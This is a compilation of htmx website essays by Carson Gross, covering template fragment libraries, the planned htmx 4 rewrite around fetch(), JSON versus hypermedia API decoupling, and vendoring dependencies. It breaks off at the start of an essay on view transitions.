Fragments (and the ability to render them directly in controllers) appear to be a relatively rare feature in templating
libraries and provide an excellent opportunity for improving the developer experience when working with htmx and other
hypermedia-oriented libraries.

Here are some known implementations of the fragment concept:

* Go
  * [Standard Library (use block actions)](https://pkg.go.dev/text/template) [[demo]](https://gist.github.com/benpate/f92b77ea9b3a8503541eb4b9eb515d8a)
  * [templ](https://templ.guide) [[Fragment documentation]](https://templ.guide/syntax-and-usage/fragments) [[repo]](https://github.com/a-h/templ)
* Java
  * [Thymeleaf](https://www.thymeleaf.org/doc/tutorials/3.0/usingthymeleaf.html#fragment-specification-syntax)
  * [Chill Templates (currently in early alpha)](https://github.com/bigskysoftware/chill/tree/master/chill-script)
  * [Quarkus Qute](https://quarkus.io/guides/qute-reference#fragments)
  * [JStachio (mustache)](https://jstach.io/doc/jstachio/current/apidocs/#mustache_fragments)
* JavaScript
  * [Jeasx](https://www.jeasx.dev) - see [example for htmx](https://expo.jeasx.dev/fragments)
* PHP
  * [Latte](https://latte.nette.org/en/template-inheritance#toc-blocks) - Use the 3rd parameter to only render 1 block from the template -  `$Latte_Engine->render('path/to/template.latte', [ 'foo' => 'bar' ], 'content');`
  * [Laravel Blade](https://laravel.com/docs/10.x/blade#rendering-blade-fragments) - includes built-in support for template fragments as of v9.x
  * [Twig](https://twig.symfony.com/doc/3.x/api.html#rendering-templates) - `$template->renderBlock('block_name', ['the' => 'variables', 'go' => 'here']);`
* Python
  * [Django Render Block Extension](https://pypi.org/project/django-render-block/) - see [example code for htmx](https://github.com/spookylukey/django-htmx-patterns/blob/master/inline_partials.rst)
  * [jinja2-fragments package](https://github.com/sponsfreixes/jinja2-fragments)
  * [jinja_partials package](https://github.com/mikeckennedy/jinja_partials) ([discussion](https://github.com/mikeckennedy/jinja_partials/issues/1) on motivation)
  * [chameleon_partials package](https://github.com/mikeckennedy/chameleon_partials)
  * [htmlgenerator](https://github.com/basxsoftwareassociation/htmlgenerator)
  * [django-template-partials](https://pypi.org/project/django-template-partials/) ([repository](https://github.com/carltongibson/django-template-partials))
  * [django-block-fragments](https://github.com/medihack/django-block-fragments)
* .NET
  * [Giraffe.ViewEngine.Htmx](https://github.com/bit-badger/Giraffe.Htmx/tree/main/src/ViewEngine.Htmx)
* Rust
  * [MiniJinja](https://docs.rs/minijinja/latest/minijinja/struct.State.html#method.render_block)
* Raku
  * [Cro Templates](https://github.com/croservices/cro-website/blob/main/docs/reference/cro-webapp-template-syntax.md#fragments)

Please [let me know](/discord) if you know of others, so I can add them to this list.

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/essays/the-fetchening.md

+++
title = "The fetch()ening"
description = """\
  You know, technically, I never said anything about a version *four*"""
date = 2025-11-01
authors = ["Carson Gross"]
[taxonomies]
tag = ["posts"]
+++

![Stop trying to make fetch() happen](/img/fetch.png)

OK, I said there would never be a version three of htmx.  

But, _technically_, I never said anything about a version *four*...

## htmx 4: The fetch()ening

In [The Future of htmx](@/essays/hypermedia-driven-applications.md) I said the following:

> We are going to work to ensure that htmx is extremely stable in both API & implementation. This means accepting and
documenting the [quirks](https://htmx.org/quirks/) of the current implementation.

Earlier this year, on a whim, I created [fixi.js](https://github.com/bigskysoftware/fixi), a hyperminimalist implementation
of the ideas in htmx.  That work gave me a chance to get a lot more familiar  with the `fetch()` and, especially, the 
[async](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/async_function) infrastructure 
available in JavaScript.

In doing that work I began to wonder if that, while the htmx [API](https://htmx.org/reference/#attributes) 
is (at least reasonably) correct, maybe there was room for a more dramatic change of the implementation that took 
advantage of these features in order to simplify the library.

Further, changing from ye olde [`XMLHttpRequest`](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest)
(a legacy of htmx 1.0 IE support) to [`fetch()`](https://developer.mozilla.org/en-US/docs/Web/API/Window/fetch) would
be a pretty violent change, guaranteed to break at least *some* stuff.  

So I began thinking: if we are going to consider moving to fetch, then maybe we should _also_ use this update as a
chance address at least _some_ of the [quirks & cruft](https://htmx.org/quirks/) that htmx has acquired over its lifetime.

So, eventually & reluctantly, I have changed my mind: there _will_ be another major version of htmx.

However, in order to keep my word that there will not be a htmx 3.0, the next release will instead be htmx 4.0.

## Project Goals

With htmx 4.0 we are rebuilding the internals of htmx, based on the lessons learned from 
fixi.js and [five+ years](https://www.npmjs.com/package/htmx.org/v/0.0.1) of supporting htmx.  

There are three major simplifying changes:

### The fetch()ening

The biggest internal change is that `fetch()` will replace `XMLHttpRequest` as the core ajax infrastructure.  This
won't actually have a huge effect on most usages of htmx _except_ that the events model will necessarily change due
to the differences between `fetch()` and `XMLHttpRequest`.

### Explicit Inheritance By Default

I feel that the biggest mistake in htmx 1.0 & 2.0 was making attribute inheritance implicit.  I was inspired by CSS in
doing this, and the results have been roughly the same as CSS: powerful & maddening.

In htmx 4.0, attribute inheritance will be explicit by default rather than implicit.  Explicit inheritance will
be done via the `:inherited` modifier: 

```html
  <div hx-target:inherited="#output">
    <button hx-post="/up">Like</button>
    <button hx-post="/down">Dislike</button>
  </div>
  <output id="output">Pick a button...</output>
```

Here the `hx-target` attribute is explicitly declared as `inherited` on the enclosing `div` and, if it wasn't, the 
`button` elements would not inherit the target from it.

You will be able to revert to htmx 2.0 implicit inheritance behavior via a configuration variable.

### No Locally Cached History

Another source of pain for both us and for htmx users is history support.  htmx 2.0 stores history in local 
cache to make navigation faster.  Unfortunately, snapshotting the DOM is often brittle because of third-party 
modifications, hidden state, etc.  There is a terrible simplicity to the web 1.0 model of blowing everything away and
starting over.  There are also security concerns storing history information in session storage.

In htmx 2.0, we often end up recommending that people facing history-related issues simply disable the cache entirely,
and that usually fixes the problems.

In htmx 4.0, history support will no longer snapshot the DOM and keep it locally.  It will, rather, issue a network 
request for the restored content.  This is the behavior of 2.0 on a history cache-miss, and it works reliably with 
little effort on behalf of htmx users.

We will offer an extension that enables history caching like in htmx 2.0, but it will be opt-in, rather than the default.

This tremendously simplifies the htmx codebase and should make the out-of-the-box behavior much more plug-and-play.

## What Stays The Same?

Most things.

The [core](https://dl.acm.org/doi/10.1145/3648188.3675127) functionality of htmx will remain the same, `hx-get`, `hx-post`,
`hx-target`, `hx-boost`, `hx-swap`, `hx-trigger`, etc.

With a few configuration tweaks, most htmx 2.x based applications should work with htmx 4.x.

These changes will make the long term maintenance & sustainability of the project much stronger.  It will also take
pressure off the 2.0 releases, which can now focus on stability rather than contemplating new features.

## Upgrading

htmx 2.0 users _will_ face an upgrade project when moving to 4.0 in a way that they did not have to in moving
from 1.0 to 2.0.  

I am sorry about that, and want to offer two things to address it:

* htmx 2.0 (like htmx 1.0 & intercooler.js 1.0) will be supported _in perpetuity_, so there is absolutely _no_ pressure to 
  upgrade your application: if htmx 2.0 is satisfying your hypermedia needs, you can stick with it.
* We will roll htmx 4.0 out slowly, over a multi-year period.  As with the htmx 1.0 -> 2.0 upgrade, there will be a long
  period where htmx 2.x is `latest` and htmx 4.x is `next`

## New Features

Beyond simplifying the implementation of htmx significantly, switching to fetch also gives us the opportunity to add 
some nice new features to htmx

### Streaming Responses & SSE in Core

By switching to `fetch()`, we can take advantage of its support for 
[readable streams](https://developer.mozilla.org/en-US/docs/Web/API/Streams_API/Using_readable_streams), which
allow for a stream of content to be swapped into the DOM, rather than a single response.

htmx 1.0 had Server Sent Event support integrated into the library.  In htmx 2.0 we pulled this functionality out as an 
extension.  It turns out that SSE is just a specialized version of a streaming response, so in adding streaming 
support, it's an almost-free free two-fer to add that back into core as well.

This will make incremental response swapping much cleaner and well-supported in htmx.

### Morphing Swap in Core

[Three years ago](https://github.com/bigskysoftware/idiomorph/commit/7760e89d9f198b43aa7d39cc4f940f606771f47b) I had
an idea for a DOM morphing algorithm that improved on the initial algorithm pioneered by [morphdom](https://github.com/patrick-steele-idem/morphdom).

The idea was to use "id sets" to make smarter decisions regarding which nodes to preserve and which nodes to delete when
merging changes into the DOM, and I called this idea "idiomorph".  Idiomorph has gone on to be adopted by many other
web project such as [Hotwire](https://hotwired.dev/).

We strongly considered including it in htmx 2.0, but I decided not too because it worked well as an extension and
htmx 2.0 had already grown larger than I wanted.

In 4.0, with the complexity savings we achieved by moving to `fetch()`, we can now comfortably fit a `morphInner` and
`morphOuter` swap into core, thanks to the excellent work of Michael West.

### Explicit &lt;htmx-partial&gt; Tag Support

htmx has, since very early on, supported a concept of "Out-of-band" swaps: content that is removed from the main HTML
response and swapped into the DOM elsewhere.  I have always been a bit ambivalent about them, because they move away
from [Locality of Behavior](https://htmx.org/essays/locality-of-behaviour/), but there is no doubt that they are useful
and often crucial for achieving certain UI patterns.

Out-of-band swaps started off very simply: if you marked an element as `hx-swap-oob='true'`, htmx would swap the element
as the outer HTML of any existing element already in the DOM with that id.  Easy-peasy.

However, over time, people started asking for different functionality around Out-of-band swaps: prepending, appending, 
etc. and the feature began acquiring some fairly baroque syntax to handle all these needs.

We have come to the conclusion that the problem is that there are really _two_ use cases, both currently trying to be
filled by Out-of-band swaps:

* A simple, id-based replacement
* A more elaborate swap of partial content

Therefore, we are introducing the notion of `<htmx-partial>`s in htmx 4.0

A partial element is, under the covers, a template element and, thus, can contain any sort of content you like.  It 
specifies on itself all the standard htmx options regarding swapping, `hx-target` and `hx-swap` in particular, allowing
you full access to all the standard swapping behavior of htmx without using a specialized syntax.  This tremendously
simplifies the mental model for these sorts of needs, and dovetails well with the streaming support we intend to offer.

Out-of-band swaps will be retained in htmx 4.0, but will go back to their initial, simple focus of simply replacing 
an existing element by id.

### Improved View Transitions Support

htmx 2.0 has had [View Transition](https://developer.mozilla.org/en-US/docs/Web/API/View_Transition_API) support since
[April of 2023](https://github.com/bigskysoftware/htmx/blob/master/CHANGELOG.md#190---2023-04-11).  In the interceding
two years, support for the feature has grown across browsers (c'mon, safari, you can do it) and we've gained experience
with the feature.

One thing that has become apparent to us while using them is that, to use them in a stable manner, it is important
to establish a _queue_ of transitions, so each can complete before the other begins.  If you don't do this, you can get
visually ugly transition cancellations.

So, in htmx 4.0 we have added this queue which will ensure that all view transitions complete smoothly.

CSS transitions will continue to work as before as well, although the swapping model is again made much simpler by the 
async runtime.

We may enable View Transitions by default, the jury is still out on that.

### Stabilized Event Ordering

A wonderful thing about `fetch()` and the async support in general is that it is _much_ easier to guarantee a stable
order of events.  By linearizing asynchronous code and allowing us to use standard language features like try/catch,
the event model of htmx should be much more predictable and comprehensible.

We are going to adopt a new standard for event naming to make things even clearer:

`htmx:<phase>:<system>[:<optional-sub-action>]`

So, for example, `htmx:before:request` will be triggered before a request is made.

### Improved Extension Support

Another opportunity we have is to take advantage of the `async` behavior of `fetch()` for much better performance in our
preload extension (where we issue a speculative (`GET` only!) request in anticipation of an actual trigger).  We have 
also added an optimistic update extension to the core extensions, again made easy by the new async features.

In general, we have opened up the internals of the htmx request/response/swap cycle much more fully to extension developers,
up to and including allowing them to replace the `fetch()` implementation used by htmx for a particular request.  There
should not be a need for any hacks to get the behavior you want out of htmx now: the events and the open "context" object
should provide the ability to do almost anything.

### Improved `hx-on` Support

In htmx 2.0, I somewhat reluctantly added the [`hx-on`](https://htmx.org/attributes/hx-on/) attributes to support light
scripting inline on elements.  I added this because HTML does not allow you to listen for arbitrary events via `on` 
attributes: only standard DOM events like `onclick` can be responded to.

We hemmed and hawed about the syntax and so, unfortunately, there are a few different ways to do it.

In htmx 4.0 we will adopt a single standard for the `hx-on` attributes: `hx-on:<event name>`.  Additionally, we are
working to improve the htmx JavaScript API (especially around async operation support) and will make those features
available in `hx-on`:

```html
<button hx-post="/like"
        hx-on:htmx:after:swap="await timeout('3s'); ctx.newContent[0].remove()">
    Get A Response Then Remove It 3 Seconds Later
</button>
```

htmx will never support a fully featured scripting mechanism in core, we recommend something like 
[Alpine.js](https://alpinejs.dev/) for that, but our hope is that we can provide a relatively minimalist API that
allows for easy, light async scripting of the DOM.

I should note that htmx 4.0 will continue to work with `eval()` disabled, but you will need to forego a few features like
`hx-on` if you choose to do so.

### A Better But Familiar htmx

All in all, our hope is that htmx 4.0 will feel an awful lot like 2.0, but with better features and, we hope, with fewer bugs.

## Timeline

As always, software takes as long as it takes.  

However, our current planned timeline is:

* An alpha release is available _today_:  `htmx@4.0.0-alpha1`
* A 4.0.0 release should be available in early-to-mid 2026
* 4.0 will be marked `latest` in early-2027ish

You can track our progress (and see quite a bit of dust flying around) in the `four` branch on 
[github](https://github.com/bigskysoftware/htmx/tree/four) and at:

<https://four.htmx.org>

Thank you for your patience and pardon our dust!

> "Well, when events change, I change my mind. What do you do?" --Paul Samuelson or John Maynard Keynes

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/essays/two-approaches-to-decoupling.md

+++
title = "Two Approaches To Decoupling"
description = """\
  Carson Gross explores two different approaches to decoupling in web applications: decoupling at the application \
  level using a JSON Data API and decoupling at the network architecture level using a hypermedia API. He discusses \
  the trade-offs between the two methods, highlighting how a hypermedia API, despite introducing tighter coupling at \
  the application level, offers greater resilience to change at the system level. Carson also touches on the \
  limitations of each approach and discusses strategies like GraphQL and splitting APIs to address specific challenges \
  in web development."""
date = 2022-05-01
updated = 2022-05-01
authors = ["Carson Gross"]
[taxonomies]
tag = ["posts"]
+++

> The central feature that distinguishes the REST architectural style from other network-based styles is its emphasis on 
> a uniform interface between components. By applying the software engineering principle of generality to the component 
> interface, the overall system architecture is simplified and the visibility of interactions is improved. 
> Implementations are decoupled from the services they provide, which encourages independent evolvability.

_-Roy Fielding, <https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm#sec_5_1_5>_

In this essay we will look at two different types of decoupling in the context of web applications:

* Decoupling at the _application level_ via a generic JSON Data API
* Decoupling at the _network architecture level_ via a hypermedia API

We will see that, at the application level, a hypermedia API tightly couples your front-end and back-end.  Despite this
fact, surprisingly, the hypermedia API is in fact more resilient in the face of change.

## Coupling

[Coupling](https://en.wikipedia.org/wiki/Coupling_%28computer_programming%29) is a property of a software system in which
two modules or aspects of the system have a high degree of interdependence. _Decoupling_ software is the act of reducing this 
interdependence between unrelated modules so that they can evolve independently of one another.

The concept of coupling and decoupling is closely (and inversely) related to 
[cohesion](https://en.wikipedia.org/wiki/Cohesion_(computer_science)).  Highly cohesive software has related logic 
within a module or conceptual boundary, rather than spread out throughout a codebase.  (A related concept is our own idea
of [Locality of Behavior](/essays/locality-of-behaviour/))

Broadly, experienced developers strive for decoupled and cohesive systems.

## JSON Data APIs - Application Level Decoupling

A common approach to building web applications today is to create a JSON Data API and then consume that JSON API using
a JavaScript framework such as React.  This application-level architectural decision decouples the front-end code
from the back-end code, and allows the reuse of the JSON API in other contexts, such as a mobile applications, 3rd 
party client integrations, etc.

This is an _application-level_ decoupling because the decision and implementation of the decoupling is done by the
application developer themselves.  The JSON API provides a "hard" interface between the two pieces of software.

Using my favorite example, consider a simple JSON for a bank that has a `GET` end point at `https://example.com/account/12345`.
This API might return the following content:

```json
HTTP/1.1 200 OK

{
    "account": {
        "account_number": 12345,
        "balance": {
            "currency": "usd",
            "value": -50.00
        },
        "status": "overdrawn"
    }
}
```

This Data API can be consumed by any client: a web application, a mobile client, a third party, etc.  It is, therefore
decoupled from any particular client.

### Decoupling Via A JSON API In Practice

So far, so good.  But how does this decoupling work out in practice?

In our essay [Splitting Your Data & Application APIs: Going Further](https://htmx.org/essays/splitting-your-apis/) you
will find the following quote:

> The worst part of my job these days is designing APIs for front-end developers. The conversation goes inevitably as:
>
>  Dev – So, this screen has data element x,y,z… could you please create an API with the response format {x: , y:, z: }
>
>  Me – Ok
> 
> Jean-Jacques Dubray - <https://www.infoq.com/articles/no-more-mvc-frameworks>

This quote shows that, although we have driven coupling out with a pitchfork (or, in our case, with a JSON API) it has come 
back through requests for web application-specific JSON API end points.  These sorts of requests end up recoupling the
front-end and back-end code: the JSON API is no longer providing a generic JSON Data API, but rather a specific API for 
the front-end needs.

Worse, these front-end needs will often change frequently as your application evolves, necessitating the modification
of your JSON API.  What if other non-web application clients have come to depend on the original API?

This problem leads to the "versioning hell" that many JSON Data API developers face when supporting both web applications as well
as other non-web application clients.

#### A Solution: GraphQL

One potential solution to this problem is to introduce [GraphQL](https://graphql.org/), which allows you to have a much
more expressive JSON API.  This means that you don't need to change it as often when your API client's needs change.  

This is a reasonable approach for addressing the problem outlined above, but there are problems with it.  The biggest 
issue that we see is security, as we outline this in [The API Churn/Security Trade-off](https://intercoolerjs.org/2016/02/17/api-churn-vs-security.html) essay.  

Apparently facebook uses a [whitelist](https://twitter.com/AdamChainz/status/1392162996844212232) to deal with the security
issues introduced by GraphQL, but many developers who are using GraphQL appear to not understand the security threats 
involved with it.

#### Another Solution: Splitting Your Application & General Data APIs

Another approach recommended by [Max Chernyak](https://max.engineer/) in his article
[Don’t Build A General Purpose API To Power Your Own Front End](https://max.engineer/server-informed-ui), is to build
*two* JSON APIs: 

* An application specific JSON API that can be modified as needed
* A general purpose JSON API that can be consumed by other clients such as mobile, etc.

This is a pragmatic solution to address what appears to be the _inherent_ coupling between your web application's front-end
and the back-end code supporting it, and it doesn't involve the security tradeoffs involved in a general GraphQL API.

## Hypermedia - Network Architecture Decoupling

Now let us consider how a _hypermedia API_ decouples software.  

Consider a potential response to the same `GET` for `https://example.com/account/12345` that we saw above:

```html
HTTP/1.1 200 OK

<html>
  <body>
    <div>Account number: 12345</div>
    <div>Balance: $100.00 USD</div>
    <div>Links:
        <a href="/accounts/12345/deposits">deposits</a>
        <a href="/accounts/12345/withdrawals">withdrawals</a>
        <a href="/accounts/12345/transfers">transfers</a>
        <a href="/accounts/12345/close-requests">close-requests</a>
    </div>
  <body>
</html>
```

(Yes, this is an API response.  It just happens to be a hypermedia-formatted response, in this case HTML.)

Here we see that, at the application level, this response could not be more tightly coupled to the "front-end".  In fact,
it *is* the front-end, in the sense that the API response specifies not only the data for the resource, but also provides
layout information on how, exactly, to display this data to the user.

The response also contains _hypermedia controls_, in this case, links, that an end user can select from to continue
navigating the hypermedia API that this [Hypermedia-Driven Application](https://htmx.org/essays/hypermedia-driven-applications/) provides.

So, where is the decoupling in this case?

### REST & The Uniform Interface

The decoupling in this case is occurring at a _lower level_.  It is happening at the _network architecture_ level, which
is to say, at the system level.  [Hypermedia systems](https://hypermedia.systems) are designed to decouple the hypermedia
client (in the case of the web, the browser) from the hypermedia server.

This is accomplished primarily via the Uniform Interface constraint of REST and, in particular, by using 
Hypermedia As The Engine of Application State ([HATEOAS](/essays/hateoas)).

This style of decoupling allows tighter coupling at the higher application level (which we have seen may be an 
_inherent_ coupling) while still retaining the benefits of decoupling for the overall system.

### Decoupling Via Hypermedia In Practice

How does this sort of decoupling work in practice?  Well, let's say that we wish to remove the ability to transfer money 
from our bank to other banks as well as the ability to close accounts.

What does our hypermedia response for this `GET` request now look like?

```html
HTTP/1.1 200 OK

<html>
  <body>
    <div>Account number: 12345</div>
    <div>Balance: $100.00 USD</div>
    <div>Links:
        <a href="/accounts/12345/deposits">deposits</a>
        <a href="/accounts/12345/withdrawals">withdrawals</a>
    </div>
  <body>
</html>
```

You can see that in this response, links for those two actions have been removed from the HTML.  The browser simply 
render the new HTML to the user.  To a rounding error, there are no clients sitting around using the _old_ API.  The
API is encoded within and discovered through the hypermedia.

This means that we can dramatically change our API without breaking our clients.

This flexibility is the crux of the REST-ful network architecture and, in particular, of [HATEOAS](/essays/hateoas/).

As you can see, despite much tighter _application-level_ coupling between our front-end and back-end, we actually have
more flexibility due to the _network architecture_ decoupling afforded to us by the Uniform Interface aspect of 
REST-ful [hypermedia systems](https://hypermedia.systems).

### But That's A Terrible (Data) API!

Many people would object that, sure, this hypermedia API may be flexible for our web application, but it makes for a 
terrible general purpose API.

This is quite true.  This hypermedia API is tuned for a specific web application.  It would be cumbersome and error-prone
to try to download this HTML, parse it and try to extract information from it.  This hypermedia API only makes sense as part
of a larger hypermedia system, being consumed by a proper hypermedia client.

This is exactly why we recommend creating a general purpose JSON API alongside your hypermedia API in
[Splitting Your Data & Application APIs: Going Further](https://htmx.org/essays/splitting-your-apis/).  You can
take advantage of the flexibility of hypermedia for your own web application, while providing a 
general purpose JSON API for mobile applications, third party applications, etc.

(Although, we should mention, a [hypermedia-based mobile application](https://hyperview.org) might be a good choice too!)

## Conclusion

In this essay we looked at two different types of decoupling:

* Application level decoupling via a JSON Data API
* Network-architecture decoupling via REST/HATEOAS in a hypermedia system

And we saw that, despite the tighter application-level coupling found in a hypermedia-based application, it is the
hypermedia system that handles changes more gracefully.

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/essays/vendoring.md

+++
title = "Vendoring"
description = """\
  Carson Gross explores the concept of 'vendoring' in software development, where external project sources are copied \
  directly into a project. He covers the benefits of vendoring, such as improved visibility and control over \
  dependencies, and discusses challenges like transitive dependencies and the culture of dependency in modern software \
  development. He also contrasts vendoring with modern dependency management tools, and considers the potential for \
  vendor-first dependency managers to combine the strengths of both approaches. He encourages a rethinking of \
  dependencies and promotes a more independent approach to software development."""
date = 2025-01-27
updated = 2025-01-27
authors = ["Carson Gross"]
[taxonomies]
tag = ["posts"]
+++

"Vendoring" software is a technique where you copy the source of another project directly into your own project. 

It is an old technique that has been used for time immemorial in software development, but the term "vendoring" to 
describe it appears to have originated in the [ruby community](https://stackoverflow.com/posts/72115282/revisions).

Vendoring can be and is still used today. You can vendor htmx, for example, quite easily.

Assuming you have a `/js/vendor` directory in your project, you can just download the source into your own project like 
so:

```bash
curl https://raw.githubusercontent.com/bigskysoftware/htmx/refs/tags/v2.0.4/dist/htmx.min.js > /js/vendor/htmx-2.0.4.min.js
```

You then include the library in your `head` tag:

```html
<script src="/js/vendor/htmx-2.0.4.min.js"></script>
```

And then you check the htmx source into your own source control repository.  (I would even recommend considering using 
the [non-minimized version](https://raw.githubusercontent.com/bigskysoftware/htmx/refs/tags/v2.0.4/dist/htmx.js), so
you can better understand and debug the code.)

That's it, that's vendoring.

## Vendoring Strengths

OK, great, so what are some strengths of vendoring libraries like this?

It turns out there are quite a few:

* Your entire project is checked in to your source repository, so no external systems beyond your source control need
  to be involved when building it
* Vendoring dramatically improves dependency *visibility*: you can _see_ all the code your project depends on, so you
  won't have a situation like we have in htmx, where we feel like we only have a few development dependencies, when in
  fact we may have a lot
* This also means if you have a good debugger, you can step into the library code as easily as any other code.  You
  can also read it, learn from it and even modify it if necessary.
* From a security perspective, you aren't relying on opaque code.  Even if your package manager has
  an integrity hash system, the actual code may be opaque to you.  With vendored code it is checked in and can be
  analysed automatically or by a security team.
* Personally, it has always seemed crazy to me that people will often resolve dependencies at deployment time, right
  when your software is about to go out the door.  If that bothers you, like it does me, vendoring puts a stop to it.

On the other hand, vendoring also has one massive drawback: there typically isn't a good way to deal with what is called
the [transitive dependency](https://en.wikipedia.org/wiki/Transitive_closure) problem.

If htmx had sub-dependencies, that is, other libraries that it depended on, then to vendor it properly you would have to
start vendoring all those libraries as well.  And if those dependencies had further dependencies, you'd need to install 
them as well... And on and on.  

Worse, two dependencies might depend on the same library, and you'll need to make sure you get the 
[correct version](https://en.wikipedia.org/wiki/Dependency_hell) of that library for everything to work.

This can get pretty difficult to deal with, but I want to make a paradoxical claim that this weakness (and, again, it's 
a real one) is actually a strength in some way:

Because dealing with large numbers of dependencies is difficult, vendoring encourages a culture of _independence_.

You get more of what you make easy, and if you make dependencies easy, you get more of them.  Making dependencies,
_especially_ transitive dependencies, more difficult would make them less common.

And, as we will see in a bit, maybe fewer dependencies isn't such a bad thing.

## Dependency Managers

That's great and all, but there are [significant](https://gist.github.com/datagrok/8577287)
[drawbacks](https://web.archive.org/web/20180216205752/http://blog.bithound.io/why-we-stopped-vendoring-our-npm-dependencies/)
to vendoring, particular the transitive dependency problem.

Modern software engineering uses dependency managers to deal with the dependencies of software projects.  These tools 
allow you to specify your projects dependencies, typically via some sort of file.  They then they will install those
dependencies and resolve and manage all the other dependencies that are necessary for those dependencies to work.  

One of the most widely used package managers is NPM: The [Node Package Manager](https://www.npmjs.com/).  Despite having
no runtime dependencies, htmx uses NPM to specify 16 development dependencies.  Development dependencies are dependencies
that are necessary for development of htmx, but not for running it.  You can see the dependencies at the bottom of
the NPM [`package.json`](https://github.com/bigskysoftware/htmx/blob/master/package.json) file for the project.

Dependency managers are a crucial part of modern software development and many developers today couldn't imagine
writing software without them.

### The Trouble with Dependency Managers

So dependency managers solve the transitive dependency problem that vendoring has.  But, as with everything in software 
engineering, there are tradeoffs associated with them.  To see some of these tradeoffs, let's take a look at the 
[`package-lock.json`](https://github.com/bigskysoftware/htmx/blob/master/package-lock.json) file in htmx.

NPM generates a `package-lock.json` file that contains the resolved transitive closure of dependencies for a project, with 
the concrete versions of those dependencies.  This helps ensure that the same dependencies are used unless a user
explicitly updates them.

If you take a look at the `package-lock.json` for htmx, you will find that the original 13 development dependencies have
ballooned into a total of 411 dependencies when all is said and done.

htmx, it turns out, relies on a huge number of packages, despite priding itself on being a relatively lean.  In fact,
the `node_modules` folder in htmx is a whopping 110 megabytes!

But, beyond this bloat there are deeper problems lurking in that mass of dependencies.

While writing this essay I found that htmx apparently depends on the 
[`array.prototype.findlastindex`](https://www.npmjs.com/package/array.prototype.findlastindex), a 
[polyfill](https://en.wikipedia.org/wiki/Polyfill_(programming)) for a JavaScript feature introduced in 
[2022](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/findLastIndex).

Now, [htmx 1.x](https://v1.htmx.org/) is IE compatible, and I don't *want* polyfills for _anything_: I want to write
code that will work in IE without any additional library support.  And yet a polyfill has snuck in via a chain
of dependencies (htmx does not directly rely on it) that introduces a dangerous polyfill that would let me write
code that would break in IE, as well as other older browsers.  

This polyfill may or may not be available when I run the htmx [test suite](https://htmx.org/test/) (it's hard to tell) 
but that's the point: some dangerous code has snuck into my project without me even knowing it, due to the number
and complexity of the (development) dependencies it has.

This demonstrates significant _cultural_ problem with dependency managers: 

They tend to foster a culture of, well, dependency.

A spectacular example of this was the infamous [left-pad incident](https://en.wikipedia.org/wiki/Npm_left-pad_incident),
in which an engineer took down a widely used package and broke the build at companies like Facebook, PayPal, Netflix,
etc.

That was a relatively innocuous, although splashy, issue, but a more serious concern is 
[supply chain attacks](https://en.wikipedia.org/wiki/Supply_chain_attack), where a hostile entity is able to compromise
a company via code injected unwittingly via dependencies.

The larger our dependency graph gets, the worse these problems get.

## Dependencies Reconsidered

I'm not the only person thinking about our culture of dependency.  Here's what some other, smarter folks have to say 
about it:

[Armin Ronacher](https://x.com/mitsuhiko), creator of [flask](https://flask.palletsprojects.com/en/stable/)
recently said this on [the ol'twits](https://x.com/mitsuhiko/status/1882739157120041156):

> The more I build software, the more I despise dependencies. I greatly prefer people copy/pasting stuff into their own
> code bases or re-implement it. Unfortunately the vibe of the time does not embrace that idea much. I need that vibe
> shift.

He also wrote a great blog post about his
[experience with package management](https://lucumr.pocoo.org/2025/1/24/build-it-yourself/) in the Rust ecosystem:

> It's time to have a new perspective: we should give kudos to engineers who write a small function themselves instead
> of hooking in a transitive web of crates. We should be suspicious of big crate graphs. Celebrated are the minimal
> dependencies, the humble function that just quietly does the job, the code that doesn't need to be touched for years
> because it was done right once.

Please go read it in full.

Back in 2021, [Tom Macwright](https://macwright.com) wrote this in
[Vendor by default](https://macwright.com/2021/03/11/vendor-by-default)

> But one thing that I do think is sort of unusual is: I’m vendoring a lot of stuff.
>
> Vendoring, in the programming sense, means “copying the source code of another project into your project.” It’s in
> contrast to the practice of using dependencies, which would be adding another project’s name to your package.json
> file and having npm or yarn download and link it up for you.

I highly recommend reading his take on vendoring as well.

## Software Designed To Be Vendored

Some good news, if you are an open source developer and like the idea of vendoring, is that there is a simple way to 
make your software vendor-friendly: remove as many dependencies as you can.

[DaisyUI](https://daisyui.com/), for example, has been in the process of 
[removing their dependencies](https://x.com/Saadeghi/status/1882556881253826941), going from 100 dependencies in 
version 3 to 0 in version 5.

There is also a set htmx-adjacent projects that are taking vendoring seriously:

* [Surreal](https://github.com/gnat/surreal) - a lightweight jQuery alternative
* [Facet](https://github.com/kgscialdone/facet) - an HTML-oriented Web Component library
* [fixi](https://github.com/bigskysoftware/fixi) - a minimal htmx alternative

None of these JavaScript projects are available in NPM, and all of them [recommend](https://github.com/gnat/surreal#-install) 
[vendoring](https://github.com/kgscialdone/facet#installation) the [software](https://github.com/bigskysoftware/fixi#installing) 
into your own project as the primary installation mechanism.

## Vendor First Dependency Managers?

The last thing I want to briefly mention is a technology that combines both vendoring and dependency management:
vendor-first dependency managers.  I have never worked with one before, but I have been pointed to 
[vend](https://github.com/fosskers/vend), a common lisp vendor oriented package manager (with a great README), as well 
as [go's vendoring option](https://go.dev/ref/mod#vendoring).  

In writing this essay, I also came across [vendorpull](https://github.com/sourcemeta/vendorpull) and 
[git-vendor](https://github.com/brettlangdon/git-vendor), both of which are small but interesting projects.

These all look like excellent tools, and it seems to me that there is an opportunity for some of them (and tools like 
them) to add additional functionality to address the traditional weaknesses of vendoring, for example:

* Managing transitive dependencies, if any
* Relatively easy updates of those dependencies
* Managing local modifications made to dependencies (and maybe help manage contributing them upstream?)

With these additional features I wonder if vendor-first dependency managers could compete with "normal" dependency 
managers in modern software development, perhaps combining some of the benefits of both approaches.

Regardless, I hope that this essay has helped you think a bit more about dependencies and perhaps planted the idea that
maybe your software could be a little less, well, dependent on dependencies.

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/essays/view-transitions.md

+++
template = "demo.html"
title = "View Transitions"
description = """\
  Carson Gross explores the evolution of web applications and the significance of view transitions in improving user \
  experience. He discusses the limitations of traditional web design, where full-page refreshes create an unpleasant \
  experience, and how modern technologies like CSS transitions and the View Transition API aim to enhance aesthetic \
  smoothness. Carson explains how htmx leverages the View Transition API to bring seamless transitions to \
